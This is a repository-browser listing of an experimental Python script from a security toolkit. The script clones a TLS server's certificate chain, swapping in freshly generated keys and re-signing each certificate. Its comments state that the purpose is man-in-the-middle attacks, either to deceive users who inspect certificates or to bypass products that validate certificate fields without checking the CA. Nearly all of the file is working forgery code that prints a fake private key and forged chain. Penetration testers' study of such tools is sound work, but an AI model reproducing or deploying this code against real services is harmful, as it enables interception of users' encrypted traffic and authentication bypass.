source: trunk/bin/bletchley-clonecertchain @ 72

Last change on this file since 72 was 72, checked in by tim, 10 years ago

Added experimental certificate chain cloning script

  • Property svn:executable set to *
File size: 7.3 KB
Line 
1#!/usr/bin/env python3
2
3# Requires Python 3+
4
5'''
6An experimental script which attempts to clone a server certificate's entire
7certificate chain, ideally altering only the keys and signatures along the
8way.
9
10This is useful in a few man-in-the-middle attack situations, including:
11- You swap out certificates on a user and the manually inspect the certificate
12  properties before accepting them.  Identical properties are more convincing.
13
14- A product includes special-purpose certificate properties that are validated
15  with custom procedures (e.g. client user name, product serial number, ...). 
16  If these properties are validated but the certificate's CA isn't, then cloning
17  the full set of certificate properties is essential to bypass the
18  authentication.
19
20Currently, this script is somewhat limited and buggy, but will hopefully
21improve over time.  Patches welcome!
22
23
24Copyright (C) 2014 Blindspot Security LLC
25Author: Timothy D. Morgan
26
27 This program is free software: you can redistribute it and/or modify
28 it under the terms of the GNU Lesser General Public License, version 3,
29 as published by the Free Software Foundation.
30
31 This program is distributed in the hope that it will be useful,
32 but WITHOUT ANY WARRANTY; without even the implied warranty of
33 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
34 GNU General Public License for more details.
35
36 You should have received a copy of the GNU General Public License
37 along with this program.  If not, see <http://www.gnu.org/licenses/>.
38'''
39
40import sys
41import argparse
42import traceback
43import socket
44try:
45    import OpenSSL
46    from OpenSSL import SSL
47except:
48    sys.stderr.write('ERROR: Could not locate pyOpenSSL module.  Under Debian-based systems, try:\n')
49    sys.stderr.write('       # apt-get install python3-openssl\n')
50    sys.stderr.write('NOTE: pyOpenSSL version 0.14 or later is required!\n')
51    sys.exit(2)
52
53
54def createClientContext():
55    tlsClientContext = SSL.Context(SSL.SSLv3_METHOD)
56    tlsClientContext.set_verify(SSL.VERIFY_NONE, (lambda a,b,c,d,e: True))
57    return tlsClientContext
58
59
60def fetchCertificateChain(host, port):
61    serverSock = socket.socket()
62    serverSock.connect((host,port))
63   
64    try:
65        server = SSL.Connection(createClientContext(), serverSock)
66        server.set_connect_state()
67        server.do_handshake()
68    except Exception as e:
69        print("Exception during handshake with server: ")
70        traceback.print_exc(e)
71        return None
72       
73    return server.get_peer_cert_chain()
74
75
76def normalizeCertificateName(cert_name):
77    n = cert_name.get_components()
78    n.sort()
79    return tuple(n)
80
81
82def normalizeCertificateChain(chain):
83    # Organize certificates by subject and issuer for quick lookups
84    subject_table = {}
85    issuer_table = {}
86    for c in chain:
87        subject_table[normalizeCertificateName(c.get_subject())] = c
88        issuer_table[normalizeCertificateName(c.get_issuer())] = c
89
90    # Now find root or highest-level intermediary
91    root = None
92    for c in chain:
93        i = normalizeCertificateName(c.get_issuer())
94        s = normalizeCertificateName(c.get_subject())
95        if (i == s) or (i not in subject_table):
96            if root != None:
97                sys.stderr.write("WARN: Multiple root certificates found or broken certificate chain detected.")
98            else:
99                # Go with the first identified "root", since that's more likely to link up with the server cert
100                root = c
101
102    # Finally, build the chain from the top-down in the correct order
103    new_chain = []
104    nxt = root
105    while nxt != None:
106        new_chain = [nxt] + new_chain
107        s = normalizeCertificateName(nxt.get_subject())
108        nxt = issuer_table.get(s)
109   
110    return new_chain
111   
112
113def genFakeKey(certificate):
114    fake_key = OpenSSL.crypto.PKey()
115    old_pubkey = certificate.get_pubkey()
116    fake_key.generate_key(old_pubkey.type(), old_pubkey.bits())
117
118    return fake_key
119
120
121def getDigestAlgorithm(certificate):
122    # XXX: ugly hack because pyopenssl API for this is limited
123    if b'md5' in certificate.get_signature_algorithm():
124        return 'md5'
125    else:
126        return 'sha1'
127
128
129def deleteExtension(certificate, index):
130    import cffi
131    from cffi import FFI
132    ffi = FFI()
133    ffi.cdef('''void* X509_delete_ext(void* x, int loc);''')
134    libssl = ffi.dlopen('libssl.so')
135    ext = libssl.X509_delete_ext(certificate._x509, index)
136    #XXX: supposed to free ext here
137
138
139def removePeskyExtensions(certificate):
140    #for index in range(0,certificate.get_extension_count()):
141    #    e = certificate.get_extension(index)
142    #    print("extension %d: %s\n" % (index, e.get_short_name()), e)
143
144    index = 0
145    while index < certificate.get_extension_count():
146        e = certificate.get_extension(index)
147        if e.get_short_name() in (b'subjectKeyIdentifier', b'authorityKeyIdentifier'):
148            deleteExtension(certificate, index)
149            #XXX: would be nice if each of these extensions were re-added with appropriate values
150            index -= 1
151        index += 1
152   
153    #for index in range(0,certificate.get_extension_count()):
154    #    e = certificate.get_extension(index)
155    #    print("extension %d: %s\n" % (index, e.get_short_name()), e)
156
157
158def genFakeCertificateChain(cert_chain):
159    ret_val = []
160    cert_chain.reverse() # start with highest level authority
161
162    c = cert_chain[0]
163    i = normalizeCertificateName(c.get_issuer())
164    s = normalizeCertificateName(c.get_subject())
165    if s != i:
166        # XXX: consider retrieving root locally and including a forged version instead
167        c.set_issuer(c.get_subject())
168    k = genFakeKey(c)
169    c.set_pubkey(k)
170    removePeskyExtensions(c)
171    c.sign(k, getDigestAlgorithm(c))
172    ret_val.append(c)
173
174    prev = k
175    for c in cert_chain[1:]:
176        k = genFakeKey(c)
177        c.set_pubkey(k)
178        removePeskyExtensions(c)
179        c.sign(prev, getDigestAlgorithm(c))
180        prev = k
181        ret_val.append(c)
182
183    ret_val.reverse()
184    return k,ret_val
185
186
187parser = argparse.ArgumentParser(
188    description="An experimental script which attempts to clone an SSL server's"
189    " entire certificate chain, ideally altering only the keys and signatures"
190    " along the way.  The script prints results to stdout, starting with a PEM"
191    " key (the fake server private key) followed by the newly forged certificate"
192    " chain, also in PEM format.  (The new intermediate and root private keys are"
193    " not currently printed, but will likely be somehow availble in a future"
194    " version.)")
195
196parser.add_argument('host', nargs=1, default=None,
197                    help='IP address or host name of server')
198parser.add_argument('port', nargs='?', default=443,
199                    help='TCP port number of SSL service (default: 443)')
200options = parser.parse_args()
201
202#print("REAL CHAIN:")
203chain = fetchCertificateChain(options.host[0],options.port)
204#for c in chain:
205#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))
206
207#chain = normalizeCertificateChain(chain)
208#for c in chain:
209#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))
210
211#print("FAKE KEY AND CHAIN:")
212fake_key, fake_chain = genFakeCertificateChain(chain)
213print(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, fake_key).decode('utf-8'))
214for c in fake_chain:
215    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))
Note: See TracBrowser for help on using the repository browser.